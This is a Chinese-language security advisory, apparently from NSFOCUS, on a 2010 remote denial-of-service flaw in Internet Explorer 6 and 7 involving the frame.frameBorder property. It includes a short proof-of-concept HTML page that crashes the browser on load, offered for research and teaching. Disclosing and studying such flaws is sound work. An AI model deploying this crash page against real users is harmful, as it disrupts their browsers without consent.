安全研究
安全漏洞
Microsoft IE帧边界属性远程拒绝服务漏洞
发布日期：2010-07-27
更新日期：2010-07-28
受影响系统：Microsoft Internet Explorer 7.0
Microsoft Internet Explorer 6.0
描述：
BUGTRAQ ID:
41990
Internet Explorer是Windows操作系统中默认捆绑的web浏览器。
用户使用IE访问了恶意网页并向frame.frameBorder属性传送了超长整数值或字符串就可以导致浏览器崩溃。
<*来源：Richard leahy
链接：
http://www.exploit-db.com/exploits/14484/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<head>
<script>
function dos(){
var e = document.createElement('frame');
var prop = 'frameBorder';
e[prop] = 0123456789;
}
</script>
</head>
<body onload="dos()">
</body>
</html>
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/windows/ie/default.asp浏览次数：2372
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
